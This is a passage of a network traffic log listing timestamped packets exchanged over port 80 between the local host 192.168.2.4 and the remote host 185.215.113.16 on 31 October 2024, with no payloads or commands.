Oct 31, 2024 05:06:37.626080990 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.626089096 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.626105070 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.626120090 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.626135111 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.626148939 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.626156092 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.626159906 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.626163960 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.626172066 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.626178980 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.626203060 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.626215935 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.626230955 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.626239061 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.626255989 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.626271009 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.626283884 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.626286983 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.626302958 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.626317024 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.626322985 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.626327991 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.626342058 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.626355886 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.626369953 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.626377106 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.626384974 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.626403093 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.626410961 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.626422882 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.626424074 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.626462936 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.626473904 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.626488924 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.626503944 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.626522064 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.626555920 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.626569986 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.626585007 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.626600981 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.626635075 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.626662016 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.626674891 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.626710892 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.626758099 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.626773119 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.626790047 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.626827955 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.626837015 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.626841068 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.626863956 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.626863956 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.626880884 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.626893997 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.626895905 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.626909971 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.626946926 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.632699013 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.668508053 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.668521881 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.668534994 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.668550968 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.668559074 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.668576002 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.676002979 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.744067907 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.744098902 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.744115114 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.744128942 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.744152069 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.744152069 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.744164944 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.744180918 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.744195938 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.744204998 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.744211912 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.744216919 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.744227886 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.744242907 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.744247913 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.744262934 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.744268894 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.744280100 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.744302034 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.744316101 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.744318962 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.744330883 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.744338989 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.744366884 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.744369984 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.744385958 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.744407892 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.744421959 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.744429111 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.744436979 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.744452953 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.744457006 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.744471073 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.744488001 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.744501114 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.744509935 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.744533062 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.744539022 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.744554996 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.744569063 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.744584084 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.744590044 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.744610071 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.744620085 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.744635105 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.744648933 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.744673014 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.744685888 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.744698048 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.744703054 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.744719982 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.744735003 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.744743109 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.744759083 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.744775057 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.744798899 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.744807005 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.744822025 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.744826078 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.744837046 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.744858980 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.744873047 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.744877100 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.744899988 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.744924068 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.744939089 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.744961977 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.744976044 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.744980097 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.744990110 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.744998932 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.745006084 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.745028019 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.745032072 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.745054007 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.745069027 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.745071888 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.745085001 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.745099068 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.745105982 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.745115042 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.745130062 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.745151043 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.745153904 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.745168924 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.745177984 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.745183945 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.745201111 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.745203018 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.745217085 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.745230913 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.745243073 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.745246887 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.745270014 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.745275021 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.745290995 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.745305061 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.745321035 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.745326042 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.745353937 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.745364904 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.745379925 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.745394945 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.745407104 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.745419979 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.745424032 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.745431900 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.745440006 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.745455027 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.745459080 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.745470047 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.745485067 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.745488882 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.745501995 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.745517969 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.745532990 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.745543957 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.745556116 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.745557070 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.745572090 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.745603085 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.745610952 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.745620012 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.745635986 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.745645046 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.745651007 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.745680094 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.745699883 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.745713949 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.745748997 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.745816946 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.745831966 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.745845079 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.745851994 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.745881081 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.745883942 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.745897055 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.745913982 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.745933056 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.745964050 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.745978117 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.745995045 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.746023893 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.746077061 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.746095896 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.746102095 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.746109009 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.746113062 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.746153116 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.746162891 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.746177912 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.746191978 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.746206045 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.746215105 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.746243000 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.746253967 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.746268988 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.746284008 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.746299028 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.746315002 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.746321917 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.746337891 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.746344090 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.746361971 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.746375084 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.746398926 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.746398926 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.746423006 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.746431112 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.746454954 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.746462107 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.746464014 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.746468067 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.746484041 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.746498108 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.746520996 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.746535063 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.746537924 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.746551991 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.746570110 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.746570110 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.746573925 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.746583939 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.746586084 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.746591091 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.746597052 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.746618986 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.746619940 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.746637106 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.746644020 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.746653080 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.746668100 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.746690035 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.746691942 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.746707916 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.746707916 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.746723890 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.746746063 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.746747971 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.746762991 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.746784925 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.746788025 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.746810913 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.746825933 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.746828079 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.746859074 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.746880054 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.746895075 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.746916056 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.746933937 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.746948957 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.746948957 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.746962070 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.746972084 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.746999025 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.747013092 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.747028112 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.747035980 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.747047901 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.747106075 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.747121096 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.747133970 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.747148037 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.747152090 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.747164011 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.747170925 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.747188091 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.747199059 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.747203112 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.747217894 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.747234106 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.747250080 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.747262001 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.747266054 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.747271061 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.747283936 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.747298956 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.747319937 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.747322083 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.747339964 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.747342110 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.747364998 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.747387886 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.747387886 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.747412920 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.747433901 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.747437000 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.747451067 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.747454882 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.747464895 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.747488976 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.747503042 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.747567892 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.747581005 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.747620106 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.747649908 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.747664928 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.747678041 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.747685909 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.747701883 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.747716904 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.747730970 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.747736931 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.747745991 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.747752905 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.747762918 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.747786999 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.747801065 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.747808933 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.747816086 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.747818947 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.747837067 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.747855902 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.747868061 CET	80	49744	185.215.113.16	192.168.2.4
